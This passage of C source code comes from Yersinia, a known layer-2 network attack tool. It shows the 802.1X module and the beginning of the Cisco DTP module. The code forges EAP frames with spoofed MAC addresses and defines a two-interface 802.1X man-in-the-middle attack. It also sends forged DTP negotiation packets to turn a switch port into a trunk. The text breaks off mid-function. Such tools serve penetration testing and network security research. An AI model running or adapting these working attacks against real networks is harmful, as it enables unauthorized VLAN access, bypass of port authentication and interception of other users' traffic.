u_int8_t *mac_source, u_int8_t *mac_dest) { libnet_ptag_t t; int32_t sent; t = libnet_build_ethernet( mac_dest, /* ethernet destination */ mac_source, /* ethernet source */ ETHERTYPE_EAP, /* protocol type */ payload, /* payload */ len, /* payload size */ iface->libnet_handler, /* libnet handle */ 0); /* libnet id */ if (t == -1) { thread_libnet_error("Can't build Ethernet_II header",iface->libnet_handler); libnet_clear_packet(iface->libnet_handler); return -1; } sent = libnet_write(iface->libnet_handler); if (sent == -1) { thread_libnet_error("libnet_write error", iface->libnet_handler); libnet_clear_packet(iface->libnet_handler); return -1; } libnet_clear_packet(iface->libnet_handler); protocols[PROTO_DOT1X].packets_out++; iface->packets_out[PROTO_DOT1X]++; return 0; } void dot1x_th_mitm_exit( struct attacks *attacks ) { attack_th_exit(attacks); pthread_mutex_unlock(&attacks->attack_th.finished); pthread_exit(NULL); } int8_t dot1x_init_attribs(struct term_node *node) { struct dot1x_data *dot1x_data; dot1x_data = node->protocol[PROTO_DOT1X].tmp_data; attack_gen_mac(dot1x_data->mac_source); dot1x_data->mac_source[0] &= 0x0E; parser_vrfy_mac(DOT1X_DFL_MAC_DST,dot1x_data->mac_dest); dot1x_data->type = DOT1X_DFL_TYPE; dot1x_data->version = DOT1X_DFL_VER; dot1x_data->eap_code = DOT1X_DFL_EAP_CODE; dot1x_data->eap_id = DOT1X_DFL_EAP_ID; dot1x_data->eap_type = DOT1X_DFL_EAP_TYPE; memcpy(dot1x_data->eap_info,DOT1X_DFL_EAP_INFO,sizeof(DOT1X_DFL_EAP_INFO)-1); dot1x_data->eap_info_len = sizeof(DOT1X_DFL_EAP_INFO)-1; dot1x_data->len = dot1x_data->eap_info_len + 1 + sizeof(struct eap_header); return 0; } int8_t dot1x_learn_packet( struct attacks *attacks, char *iface, u_int8_t *stop, void *data, struct pcap_pkthdr *header ) { struct dot1x_data *dot1x_data = (struct dot1x_data *)data; struct interface_data *iface_data; struct pcap_data pcap_aux; u_int8_t *packet, got_802_1x_pkt = 0; int8_t ret = -1 ; dlist_t *p; if ( iface ) { p = dlist_search( attacks->used_ints->list, attacks->used_ints->cmp, iface ); if (!p) return -1; iface_data = (struct interface_data *) dlist_data(p); } else iface_data = NULL; packet = (u_int8_t *)calloc( 1, SNAPLEN ); if ( packet ) { while ( !got_802_1x_pkt && !(*stop) ) { interfaces_get_packet( attacks->used_ints, iface_data, stop, header, packet, PROTO_DOT1X, NO_TIMEOUT ); if ( !(*stop) ) { pcap_aux.header = header; pcap_aux.packet = packet; if ( !dot1x_load_values( (struct pcap_data *)&pcap_aux, dot1x_data ) ) { got_802_1x_pkt = 1; ret = 0 ; } } } free(packet); } return ret ; } /* * Load values from packet to data. * At the moment this function is called only * from ncurses-gui.c */ int8_t dot1x_load_values(struct pcap_data *data, void *values) { struct libnet_802_3_hdr *ether; struct dot1x_data *dot1x; struct dot1x_header *dot1x_hdr; struct eap_header *eap_hdr; u_int8_t *cursor; dot1x = (struct dot1x_data *)values; if (data->header->caplen < (14+4) ) /* Undersized packet!! */ return -1; ether = (struct libnet_802_3_hdr *) data->packet; /* Source MAC */ memcpy(dot1x->mac_source, ether->_802_3_shost, ETHER_ADDR_LEN); /* Destination MAC */ memcpy(dot1x->mac_dest, ether->_802_3_dhost, ETHER_ADDR_LEN); dot1x_hdr = (struct dot1x_header *) (data->packet + LIBNET_802_3_H); dot1x->version = dot1x_hdr->version; dot1x->type = dot1x_hdr->type; dot1x->len = ntohs(dot1x_hdr->len); /* Vrfy minimal length!! */ if (dot1x->type == DOT1X_TYPE_EAP) { eap_hdr = (struct eap_header *)(dot1x_hdr+1); dot1x->eap_code = eap_hdr->code; dot1x->eap_id = eap_hdr->id; dot1x->eap_len = ntohs(eap_hdr->len); /* Vrfy len!! */ if ( (dot1x->eap_code == DOT1X_EAP_RESPONSE) && (dot1x->eap_len > 4) ) { cursor = (u_int8_t *)(eap_hdr+1); if (*cursor == DOT1X_EAP_IDENTITY) { memset(dot1x->eap_info,0,MAX_EAP_INFO); dot1x->eap_info_len = 0; /* Vrfy if INFO is within the boundaries!! */ if ( (dot1x->eap_len-5) <= MAX_EAP_INFO) { memcpy(dot1x->eap_info,(cursor+1),(dot1x->eap_len-5)); dot1x->eap_info_len = dot1x->eap_len-5; } else { memcpy(dot1x->eap_info,(cursor+1),MAX_EAP_INFO); dot1x->eap_info_len = MAX_EAP_INFO; } return 0; } } } memset(dot1x->eap_info,0,MAX_EAP_INFO); dot1x->eap_info_len = 0; return 0; } /* * Return formated strings of each 802.1X field */ char ** dot1x_get_printable_packet(struct pcap_data *data) { struct libnet_802_3_hdr *ether; struct dot1x_header *dot1x_hdr; struct eap_header *eap_hdr; u_int8_t *cursor; char **field_values; if ( ! data ) return NULL; if (data && (data->header->caplen < (14+4)) ) /* Undersized packet!! */ return NULL; if ((field_values = (char **) protocol_create_printable(protocols[PROTO_DOT1X].nparams, protocols[PROTO_DOT1X].parameters)) == NULL) { write_log(0, "Error in calloc\n"); return NULL; } ether = (struct libnet_802_3_hdr *) data->packet; /* Source MAC */ snprintf(field_values[DOT1X_SMAC], 18, "%02X:%02X:%02X:%02X:%02X:%02X", ether->_802_3_shost[0], ether->_802_3_shost[1], ether->_802_3_shost[2], ether->_802_3_shost[3], ether->_802_3_shost[4], ether->_802_3_shost[5]); /* Destination MAC */ snprintf(field_values[DOT1X_DMAC], 18, "%02X:%02X:%02X:%02X:%02X:%02X", ether->_802_3_dhost[0], ether->_802_3_dhost[1], ether->_802_3_dhost[2], ether->_802_3_dhost[3], ether->_802_3_dhost[4], ether->_802_3_dhost[5]); dot1x_hdr = (struct dot1x_header *) (data->packet + LIBNET_802_3_H); /* Version */ snprintf(field_values[DOT1X_VER], 3, "%02X", dot1x_hdr->version); snprintf(field_values[DOT1X_TYPE], 3, "%02X", dot1x_hdr->type); /* Vrfy minimal length!! */ if (dot1x_hdr->type == DOT1X_TYPE_EAP) { eap_hdr = (struct eap_header *)(dot1x_hdr+1); snprintf(field_values[DOT1X_EAP_CODE],3, "%02X", eap_hdr->code); snprintf(field_values[DOT1X_EAP_ID], 3, "%02X", eap_hdr->id); /* Vrfy len!! eap_hdr->len */ if ( (eap_hdr->code == DOT1X_EAP_RESPONSE) && (eap_hdr->len > 4) ) { cursor = (u_int8_t *)(eap_hdr+1); snprintf(field_values[DOT1X_EAP_TYPE], 3, "%02X", *cursor); if (*cursor == DOT1X_EAP_IDENTITY) { /* Vrfy if INFO is within the boundaries!! */ if ( (eap_hdr->len-5) < 30) { memcpy(field_values[DOT1X_EAP_INFO],(cursor+1),(eap_hdr->len-5)); } else { memcpy(field_values[DOT1X_EAP_INFO],(cursor+1),30); field_values[DOT1X_EAP_INFO][29] = '|'; field_values[DOT1X_EAP_INFO][30] = '\0'; } } } } return field_values; } char ** dot1x_get_printable_store(struct term_node *node) { struct dot1x_data *dot1x_tmp; char **field_values; /* smac + dmac + double + vlan1 + priority + cfi1 + tpi1 + vlan2 + * priority2 + cfi2 + tpi3 + src + dst + proto + arp + vlan + null = 17 */ if ((field_values = (char **) protocol_create_printable(protocols[PROTO_DOT1X].nparams, protocols[PROTO_DOT1X].parameters)) == NULL) { write_log(0, "Error in calloc\n"); return NULL; } if (node == NULL) dot1x_tmp = protocols[PROTO_DOT1X].default_values; else dot1x_tmp = (struct dot1x_data *) node->protocol[PROTO_DOT1X].tmp_data; /* Source MAC */ snprintf(field_values[DOT1X_SMAC], 18, "%02X:%02X:%02X:%02X:%02X:%02X", dot1x_tmp->mac_source[0], dot1x_tmp->mac_source[1], dot1x_tmp->mac_source[2], dot1x_tmp->mac_source[3], dot1x_tmp->mac_source[4], dot1x_tmp->mac_source[5]); /* Destination MAC */ snprintf(field_values[DOT1X_DMAC], 18, "%02X:%02X:%02X:%02X:%02X:%02X", dot1x_tmp->mac_dest[0], dot1x_tmp->mac_dest[1], dot1x_tmp->mac_dest[2], dot1x_tmp->mac_dest[3], dot1x_tmp->mac_dest[4], dot1x_tmp->mac_dest[5]); /* Version */ snprintf(field_values[DOT1X_VER], 3, "%02X", dot1x_tmp->version); snprintf(field_values[DOT1X_TYPE], 3, "%02X", dot1x_tmp->type); snprintf(field_values[DOT1X_EAP_CODE], 3, "%02X", dot1x_tmp->eap_code); snprintf(field_values[DOT1X_EAP_ID], 3, "%02X", dot1x_tmp->eap_id); snprintf(field_values[DOT1X_EAP_TYPE], 3, "%02X", dot1x_tmp->eap_type); memcpy(field_values[DOT1X_EAP_INFO], dot1x_tmp->eap_info, MAX_EAP_INFO); return field_values; } int8_t dot1x_update_field(int8_t state, struct term_node *node, void *value) { struct dot1x_data *dot1x_data; if (node == NULL) dot1x_data = protocols[PROTO_DOT1X].default_values; else dot1x_data = node->protocol[PROTO_DOT1X].tmp_data; switch(state) { /* Source MAC */ case DOT1X_SMAC: memcpy((void *)dot1x_data->mac_source, (void *)value, ETHER_ADDR_LEN); break; /* Destination MAC */ case DOT1X_DMAC: memcpy((void *)dot1x_data->mac_dest, (void *)value, ETHER_ADDR_LEN); break; case DOT1X_VER: dot1x_data->version = *(u_int8_t *)value; break; case DOT1X_TYPE: dot1x_data->type = *(u_int8_t *)value; break; case DOT1X_EAP_CODE: dot1x_data->eap_code = *(u_int8_t *)value; break; case DOT1X_EAP_ID: dot1x_data->eap_id = *(u_int8_t *)value; break; case DOT1X_EAP_TYPE: dot1x_data->eap_type = *(u_int8_t *)value; break; default: break; } return 0; } int8_t dot1x_end(struct term_node *node) { return 0; }
C/C++
yersinia/src/dot1x.h
/* dot1x.h * Definitions for IEEE 802.1X * * Yersinia * By David Barroso <[email protected]> and Alfredo Andres <[email protected]> * Copyright 2005-2017 Alfredo Andres and David Barroso * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #ifndef __DOT_1X_H__ #define __DOT_1X_H__ #include <libnet.h> #include "terminal-defs.h" #include "interfaces.h" struct dot1x_header { u_int8_t version; u_int8_t type; u_int16_t len; }; struct eap_header { u_int8_t code; u_int8_t id; u_int16_t len; }; #define DOT1X_DFL_MAC_DST "01:80:C2:00:00:03" #define DOT1X_DFL_VER 0x01 #define DOT1X_DFL_TYPE 0x00 #define DOT1X_DFL_EAP_TYPE 0x01 #define DOT1X_DFL_EAP_CODE 0x02 #define DOT1X_DFL_EAP_ID 0x00 #define DOT1X_DFL_EAP_INFO "Andrea Amati" #define MAX_EAP_INFO 64 struct dot1x_data { u_int8_t mac_source[ETHER_ADDR_LEN]; u_int8_t mac_dest[ETHER_ADDR_LEN]; u_int8_t version; u_int8_t type; u_int16_t len; u_int8_t eap_code; u_int8_t eap_id; u_int16_t eap_len; u_int8_t eap_type; u_int8_t eap_info[MAX_EAP_INFO+1]; u_int8_t eap_info_len; }; #define DOT1X_TYPE_EAP 0x00 static const struct tuple_type_desc dot1x_type[] = { { DOT1X_TYPE_EAP, "EAP" }, { 0, NULL } }; #define DOT1X_EAP_REQUEST 0x01 #define DOT1X_EAP_RESPONSE 0x02 #define DOT1X_EAP_SUCCESS 0x03 #define DOT1X_EAP_FAILURE 0x04 static const struct tuple_type_desc dot1x_eap_code[] = { { DOT1X_EAP_REQUEST, "REQUEST" }, { DOT1X_EAP_RESPONSE, "RESPONSE" }, { DOT1X_EAP_SUCCESS, "SUCCESS" }, { DOT1X_EAP_FAILURE, "FAILURE" }, { 0, NULL } }; #define DOT1X_EAP_IDENTITY 0x01 static const struct tuple_type_desc dot1x_eap_type[] = { { 0x01, "Identity" }, { 0x02, "Notification" }, { 0x0d, "TLS" }, { 0x04, "MD5" }, { 0x05, "OTP" }, { 0x06, "Token Card" }, { 0x11, "LEAP Cisco" }, { 0, NULL } }; static struct proto_features dot1x_features[] = { { F_ETHERTYPE, ETHERTYPE_EAP }, { -1, 0 } }; #define DOT1X_SMAC 0 #define DOT1X_DMAC 1 #define DOT1X_VER 2 #define DOT1X_TYPE 3 #define DOT1X_EAP_CODE 4 #define DOT1X_EAP_ID 5 #define DOT1X_EAP_TYPE 6 #define DOT1X_EAP_INFO 7 /* Struct needed for using protocol fields within the network client */ struct commands_param dot1x_comm_params[] = { { DOT1X_SMAC, "source", "Source MAC", 6, FIELD_MAC, "Set source MAC address", " H:H:H:H:H:H 48 bit mac address", 17, 1, 0, NULL, NULL }, { DOT1X_DMAC, "dest", "Destination MAC", 6,FIELD_MAC, "Set destination MAC address", " H:H:H:H:H:H 48 bit mac address", 17, 1, 0, NULL, NULL }, { DOT1X_VER, "version", "Ver", 1, FIELD_HEX, "Set 802.1X version", " <00-FF> 802.1X version", 2, 2, 0, NULL, NULL }, { DOT1X_TYPE, "type", "Type", 1, FIELD_HEX, "Set 802.1X type", " <00-FF> type", 2, 2, 1, NULL, dot1x_type }, { DOT1X_EAP_CODE, "eapcode", "EAPCode", 1, FIELD_HEX, "Set 802.1X EAP code", " <00-FF> EAP code", 2, 2, 1, NULL, dot1x_eap_code }, { DOT1X_EAP_ID, "eapid", "EAPId", 1, FIELD_HEX, "Set 802.1X EAP id", " <00-FF> EAP id", 2, 2, 0, NULL, NULL }, { DOT1X_EAP_TYPE, "eaptype", "EAPType", 1, FIELD_HEX, "Set 802.1X EAP type", " <00-FF> EAP type", 2, 2, 1, NULL, dot1x_eap_type }, { DOT1X_EAP_INFO, "eapinfo", "EAPInfo", MAX_EAP_INFO, FIELD_STR, "Set 802.1X EAP identity info", " WORD ASCII info", MAX_EAP_INFO, 3, 1, NULL, NULL }, { 0, "defaults", NULL, 0, FIELD_DEFAULT, "Set all values to default", " <cr>", 0, 0, 0, NULL, NULL }, { 0, "interface", NULL, IFNAMSIZ, FIELD_IFACE, "Set network interface to use", " WORD Network interface", IFNAMSIZ, 0, 0, NULL, NULL } }; void dot1x_th_send(void *); void dot1x_th_send_exit(struct attacks *); void dot1x_th_mitm(void *); void dot1x_th_mitm_exit(struct attacks *); struct dot1x_mitm_ifaces { struct interface_data *auth; struct interface_data *supp; u_int8_t mac_auth[ETHER_ADDR_LEN]; u_int8_t mac_supp[ETHER_ADDR_LEN]; }; #define DOT1X_MITM_IFACE_SUPP 0 #define DOT1X_MITM_IFACE_AUTH 1 static struct attack_param dot1x_mitm_params[] = { { NULL, "Supplicant interface", 1, FIELD_ENABLED_IFACE, IFNAMSIZ, NULL }, { NULL, "Authenticator interface", 1, FIELD_ENABLED_IFACE, IFNAMSIZ, NULL }, }; #define DOT1X_ATTACK_SEND 0 #define DOT1X_ATTACK_MITM 1 static struct _attack_definition dot1x_attack[] = { { DOT1X_ATTACK_SEND, "sending 802.1X packet", NONDOS, SINGLE, dot1x_th_send, NULL, 0 }, { DOT1X_ATTACK_MITM, "Mitm 802.1X with 2 interfaces", NONDOS, CONTINOUS, dot1x_th_mitm, dot1x_mitm_params, SIZE_ARRAY(dot1x_mitm_params) }, { 0, NULL, 0, 0, NULL, NULL, 0 } }; void dot1x_register(void); int8_t dot1x_send(struct attacks *); int8_t dot1x_send_raw(struct interface_data *, u_int8_t *, u_int16_t, u_int8_t *, u_int8_t *); int8_t dot1x_init_attribs(struct term_node *); int8_t dot1x_learn_packet(struct attacks *, char *, u_int8_t *,void *, struct pcap_pkthdr *); char **dot1x_get_printable_packet(struct pcap_data *); char **dot1x_get_printable_store(struct term_node *); int8_t dot1x_load_values(struct pcap_data *, void *); int8_t dot1x_update_field(int8_t, struct term_node *, void *); int8_t dot1x_init_comms_struct(struct term_node *); int8_t dot1x_end(struct term_node *); extern void thread_libnet_error( char *, libnet_t *); extern int8_t vrfy_bridge_id( char *, u_int8_t * ); extern int8_t thread_create( THREAD *, void *, void *); extern void write_log( u_int16_t mode, char *msg, ... ); extern int8_t attack_th_exit(struct attacks *); extern void attack_gen_mac(u_int8_t *); extern struct interface_data *interfaces_get_packet(list_t *, struct interface_data *, u_int8_t *, struct pcap_pkthdr *, u_int8_t *, u_int16_t, time_t); extern int8_t parser_vrfy_mac(char *, u_int8_t *); extern int8_t parser_get_inet_aton(char *, struct in_addr *); extern int8_t parser_get_formated_inet_address(u_int32_t, char *, u_int16_t); extern int8_t parser_command2index(register const struct _attack_definition *, register int8_t); extern struct terminals *terms; extern int8_t bin_data[]; #endif
C
yersinia/src/dtp.c
/* dtp.c * Implementation and attacks for Cisco's Dynamic Trunking Protocol * * Yersinia * By David Barroso <[email protected]> and Alfredo Andres <[email protected]> * Copyright 2005-2017 Alfredo Andres and David Barroso * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #ifdef HAVE_CONFIG_H #include <config.h> #endif #ifndef _REENTRANT #define _REENTRANT #endif #include <stdio.h> #include <errno.h> #include <sys/types.h> #include <sys/socket.h> #ifdef HAVE_NETINET_IN_SYSTM_H #include <netinet/in_systm.h> #else #ifdef HAVE_NETINET_IN_SYSTEM_H #include <netinet/in_system.h> #endif #endif #include <netinet/in.h> #include <arpa/inet.h> #include <signal.h> #include <time.h> #ifdef TIME_WITH_SYS_TIME #include <sys/time.h> #endif #ifdef HAVE_UNISTD_H #include <unistd.h> #endif #ifdef HAVE_STRING_H #include <string.h> #endif #ifdef HAVE_STRINGS_H #include <strings.h> #endif #ifdef HAVE_BSTRING_H #include <bstring.h> #endif #ifdef STDC_HEADERS #include <stdlib.h> #endif #ifdef HAVE_PTHREAD_H #include <pthread.h> #endif #include <stdarg.h> #include "dtp.h" void dtp_register(void) { protocol_register(PROTO_DTP, "DTP", "Dynamic Trunking Protocol", "dtp", sizeof(struct dtp_data), dtp_init_attribs, dtp_learn_packet, dtp_get_printable_packet, dtp_get_printable_store, dtp_load_values, dtp_attack, dtp_update_field, dtp_features, dtp_comm_params, SIZE_ARRAY(dtp_comm_params), NULL, 0, NULL, dtp_init_comms_struct, PROTO_VISIBLE, dtp_end); } /* * Inicializa la estructura que se usa para relacionar el tmp_data * de cada nodo con los datos que se sacaran por pantalla cuando * se accede al demonio de red. * Teoricamente esta funcion solo se llama desde term_add_node() * la cual, a su vez, solo es llamada al tener el mutex bloqueado por * lo que no veo necesario que sea reentrante. (Fredy). */ int8_t dtp_init_comms_struct(struct term_node *node) { struct dtp_data *dtp_data; void **comm_param; comm_param = (void *)calloc(1,sizeof(void *)*SIZE_ARRAY(dtp_comm_params)); if (comm_param == NULL) { thread_error("dtp_init_commands_struct calloc error",errno); return -1; } dtp_data = node->protocol[PROTO_DTP].tmp_data; node->protocol[PROTO_DTP].commands_param = comm_param; comm_param[DTP_SMAC] = &dtp_data->mac_source; comm_param[DTP_DMAC] = &dtp_data->mac_dest; comm_param[DTP_VERSION] = &dtp_data->version; comm_param[DTP_NEIGH] = &dtp_data->neighbor; comm_param[DTP_STATUS] = &dtp_data->status; comm_param[DTP_TYPE] = &dtp_data->type; comm_param[DTP_DOMAIN] = &dtp_data->domain; comm_param[7] = NULL; comm_param[8] = NULL; return 0; } void dtp_th_send( void *arg ) { struct attacks *attacks = (struct attacks *)arg; struct dtp_data *dtp_data; sigset_t mask; pthread_mutex_lock(&attacks->attack_th.finished); pthread_detach(pthread_self()); dtp_data = attacks->data; dtp_data->dom_len = strlen(dtp_data->domain); sigfillset(&mask); if (pthread_sigmask(SIG_BLOCK, &mask, NULL)) { thread_error("dtp_th_send pthread_sigmask()",errno); dtp_th_send_exit(attacks); } dtp_send(attacks); dtp_th_send_exit(attacks); } void dtp_th_send_exit( struct attacks *attacks ) { attack_th_exit(attacks); pthread_mutex_unlock(&attacks->attack_th.finished); pthread_exit(NULL); } int8_t dtp_send(struct attacks *attacks) { libnet_ptag_t t; libnet_t *lhandler; u_int32_t dtp_len, sent; struct dtp_data *dtp_data; u_int8_t *dtp_packet, *aux; u_int8_t cisco_data[]={ 0x00, 0x00, 0x0c, 0x20, 0x04 }; dlist_t *p; struct interface_data *iface_data; struct interface_data *iface_data2; dtp_data = attacks->data; dtp_len = sizeof(cisco_data)+dtp_data->dom_len+26; dtp_packet = calloc(1,dtp_len); if (dtp_packet == NULL) { thread_error("dtp_send calloc error",errno); return -1; } aux = dtp_packet; memcpy(dtp_packet,cisco_data,sizeof(cisco_data)); aux+=sizeof(cisco_data); *aux = dtp_data->version; aux++; aux++; *aux = DTP_TYPE_DOMAIN; aux++; aux++; *aux = dtp_data->dom_len+5; aux++; memcpy(aux,dtp_data->domain,dtp_data->dom_len); aux+=dtp_data->dom_len; aux++; aux++; *aux = DTP_TYPE_STATUS; aux++; aux++; *aux = 0x05; aux++; *aux = dtp_data->status; aux++; aux++; *aux = DTP_TYPE_TYPE; aux++; aux++; *aux = 0x05; aux++; *aux = dtp_data->type; aux++; aux++; *aux = DTP_TYPE_NEIGHBOR; aux++; aux++; *aux = 0x0a; aux++; memcpy(aux,dtp_data->neighbor,ETHER_ADDR_LEN); for (p = attacks->used_ints->list; p; p = dlist_next(attacks->used_ints->list, p)) { iface_data = (struct interface_data *) dlist_data(p); lhandler = iface_data->libnet_handler; t = libnet_build_802_2( 0xaa, /* DSAP */ 0xaa, /* SSAP */ 0x03, /* control */ dtp_packet, /* payload */ dtp_len, /* payload size */ lhandler, /* libnet handle */ 0); /* libnet id */ if (t == -1) { thread_libnet_error("Can't build ethernet header",lhandler); libnet_clear_packet(lhandler); free(dtp_packet); return -1; } t = libnet_build_802_3( dtp_data->mac_dest, /* ethernet destination */ (attacks->mac_spoofing) ? dtp_data->mac_source : iface_data->etheraddr, /* ethernet source */ LIBNET_802_2_H + dtp_len, /* frame size */ NULL, /* payload */ 0, /* payload size */ lhandler, /* libnet handle */ 0); /* libnet id */ if (t == -1) { thread_libnet_error("Can't build ethernet header",lhandler); libnet_clear_packet(lhandler); free(dtp_packet); return -1; } /* * Write it to the wire. */ sent = libnet_write(lhandler); if (sent == -1) { thread_libnet_error("libnet_write error", lhandler); libnet_clear_packet(lhandler); free(dtp_packet); return -1; } libnet_clear_packet(lhandler); protocols[PROTO_DTP].packets_out++; iface_data2 = interfaces_get_struct(iface_data->ifname); iface_data2->packets_out[PROTO_DTP]++; } free(dtp_packet); return 0; } int8_t dtp_init_attribs(struct term_node *node) { struct dtp_data *dtp_data; dtp_data = node->protocol[PROTO_DTP].tmp_data; attack_gen_mac(dtp_data->mac_source); dtp_data->mac_source[0] &= 0x0E; parser_vrfy_mac("01:00:0c:cc:cc:cc",dtp_data->mac_dest); dtp_data->version = DTP_DFL_VERSION; memcpy(dtp_data->domain,DTP_DFL_DOMAIN,sizeof(DTP_DFL_DOMAIN)); dtp_data->dom_len = DTP_DFL_DOM_LEN; dtp_data->status = DTP_DFL_STATUS; dtp_data->type = DTP_DFL_TYPE; memcpy(dtp_data->neighbor,dtp_data->mac_source,6); return 0; } /*****************************/ /* Child/Thread loop sending */ /* DTP packets every 30 secs */ /*****************************/ void dtp_send_negotiate( void *arg ) { struct attacks *attacks = (struct attacks *)arg; struct timeval hello; int ret; int secs = 0; pthread_mutex_lock(&attacks->helper_th.finished); pthread_detach(pthread_self()); hello.tv_sec = 0; hello.tv_usec = 0; write_log(0,"\n dtp_helper: %X init...\n",(int)pthread_self()); while(!attacks->helper_th.stop) { if ( (ret = select( 0, NULL, NULL, NULL, &hello ) ) == -1 ) break; if ( !ret ) /* Timeout... */ { if (secs == 30) /* Send DTP negotiate...*/ { dtp_send(attacks); secs=0; } else secs++; } hello.tv_sec = 1; hello.tv_usec = 0; } write_log(0," dtp_helper: %X finished...\n",(int)pthread_self()); pthread_mutex_unlock(&attacks->helper_th.finished); pthread_exit(NULL); } void dtp_th_nondos_do_trunk( void *arg ) { struct attacks *attacks = (struct attacks *)arg; struct dtp_data *dtp_data, dtp_data_learned; struct pcap_pkthdr header; struct pcap_data pcap_aux; struct libnet_802_3_hdr *ether; struct timeval now; u_int8_t *packet; sigset_t mask; pthread_mutex_lock(&attacks->attack_th.finished); pthread_detach(pthread_self()); sigfillset(&mask); if (pthread_sigmask(SIG_BLOCK, &mask, NULL)) { thread_error("dtp_nondos_do_trunk pthread_sigmask()",errno); dtp_th_nondos_do_trunk_exit(attacks); } dtp_data = attacks->data; gettimeofday(&now,NULL); header.ts.tv_sec = now.tv_sec; header.ts.tv_usec = now.tv_usec; /* If you want to test the NULL domain just set the defaults DTP packet values */ /* and comment the following lines. (and recompile)*/ /* From here... if (dtp_learn_packet(ALL_INTS,&attacks->attack_th.stop, &dtp_data_learned, &header) < 0) dtp_th_nondos_do_trunk_exit(attacks); memcpy(dtp_data->mac_dest, dtp_data_learned.mac_dest,6); memcpy(dtp_data->domain,(void *)dtp_data_learned.domain, dtp_data_learned.dom_len); dtp_data->version = dtp_data_learned.version; dtp_data->dom_len = dtp_data_learned.dom_len; dtp_data->status = dtp_data_learned.status; dtp_data->type = dtp_data_learned.type; ... to here. */ packet = (u_int8_t *)calloc( 1, SNAPLEN ); if ( ! packet ) dtp_th_nondos_do_trunk_exit(attacks); dtp_send(attacks); thread_usleep(999999); dtp_send(attacks); thread_usleep(999999); if ( !attacks->attack_th.stop ) { dtp_send(attacks); if ( ! thread_create( &attacks->helper_th, &dtp_send_negotiate, attacks ) ) { while ( ! attacks->attack_th.stop ) { interfaces_get_packet( attacks->used_ints, NULL, &attacks->attack_th.stop, &header, packet, PROTO_DTP, NO_TIMEOUT ); if ( ! attacks->attack_th.stop ) { ether = (struct libnet_802_3_hdr *) packet; if (!memcmp(dtp_data->mac_source,ether->_802_3_shost,6) ) continue; /* Oops!! Its our packet... */ pcap_aux.header = &header; pcap_aux.packet = packet; if ( dtp_load_values( &pcap_aux, &dtp_data_learned ) < 0) continue; switch( dtp_data_learned.status & 0xF0 ) { case DTP_TRUNK: dtp_data->status = (DTP_TRUNK | DTP_DESIRABLE); break; case DTP_ACCESS: dtp_data->status = (DTP_ACCESS | DTP_DESIRABLE); break; } } } } else write_log( 0, "dtp_th_nondos_do_trunk thread_create error\n" ); } free(packet); dtp_th_nondos_do_trunk_exit(attacks); } void dtp_th_nondos_do_trunk_exit( struct attacks *attacks ) { attack_th_exit(attacks); pthread_mutex_unlock(&attacks->attack_th.finished); pthread_exit(NULL); } int8_t dtp_learn_packet( struct attacks *attacks, char *iface, u_int8_t *stop, void *data, struct pcap_pkthdr *header ) { struct dtp_data *dtp_data = (struct dtp_data *)data; struct interface_data *iface_data = NULL ; struct pcap_data pcap_aux; u_int8_t *packet, got_dtp_packet = 0; dlist_t *p; int8_t ret = -1 ; if ( iface) { p = dlist_search(attacks->used_ints->list, attacks->used_ints->cmp, iface); if ( !p ) return -1; iface_data = (struct interface_data *) dlist_data(p); } packet = (u_int8_t *)calloc( 1, SNAPLEN ); if ( packet ) { while ( !got_dtp_packet && !(*stop) ) { interfaces_get_packet( attacks->used_ints, iface_data, stop, header, packet, PROTO_DTP, NO_TIMEOUT ); if ( !(*stop) ) { pcap_aux.header = header; pcap_aux.packet = packet; if ( !dtp_load_values( (struct pcap_data *)&pcap_aux, dtp_data ) ) { ret = 0 ; got_dtp_packet = 1; } } } free(packet); } return ret ; } /* * Return formated strings of each DTP field */ char **dtp_get_printable_packet( struct pcap_data *data ) { struct libnet_802_3_hdr *ether; u_int8_t *dtp_data, *ptr, *tlv_data; /*, *aux;*/ u_int16_t tlv_type, tlv_len; #ifdef LBL_ALIGN u_int16_t aux_short; #endif char **field_values; if ((field_values = (char **) protocol_create_printable(protocols[PROTO_DTP].nparams, protocols[PROTO_DTP].parameters)) == NULL) { write_log(0, "Error in calloc\n"); return NULL; } ether = (struct libnet_802_3_hdr *) data->packet; dtp_data = (u_int8_t *) (data->packet + LIBNET_802_3_H + LIBNET_802_2SNAP_H); /* Source MAC */ snprintf(field_values[DTP_SMAC], 18, "%02X:%02X:%02X:%02X:%02X:%02X", ether->_802_3_shost[0], ether->_802_3_shost[1], ether->_802_3_shost[2], ether->_802_3_shost[3], ether->_802_3_shost[4], ether->_802_3_shost[5]); /* Destination MAC */ snprintf(field_values[DTP_DMAC], 18, "%02X:%02X:%02X:%02X:%02X:%02X", ether->_802_3_dhost[0], ether->_802_3_dhost[1], ether->_802_3_dhost[2], ether->_802_3_dhost[3], ether->_802_3_dhost[4], ether->_802_3_dhost[5]); ptr = dtp_data; /* DTP Version */ snprintf(field_values[DTP_VERSION], 3, "%02X", *ptr); ptr++; while(ptr < data->packet + data->header->caplen) { /* Undersized packet!! */ if ( (ptr+4) > (data->packet + data->header->caplen)) /* return NULL;*/ break; #ifdef LBL_ALIGN memcpy((void *)&aux_short,ptr,2); tlv_type = ntohs(aux_short); memcpy((void *)&aux_short,(ptr+2),2); tlv_len = ntohs(aux_short); #else tlv_type = ntohs(*(u_int16_t *)ptr); tlv_len = ntohs(*(u_int16_t *)(ptr+2)); #endif if ( (ptr+tlv_len) > (data->packet + data->header->caplen)) { write_log(0,"DTP Oversized packet!!\n"); free( field_values ); return NULL; /* Oversized packet!! */ } if (!tlv_len) { break; } /* * TLV Len must be at least 5 bytes (header + data). * Anyway i think we can give a chance to the rest * of TLVs... ;) */ if (tlv_len > 4) { switch(tlv_type) { case DTP_TYPE_DOMAIN: if ((tlv_len-4) < 20 ) /*DTP_DOMAIN_SIZE )*/ { 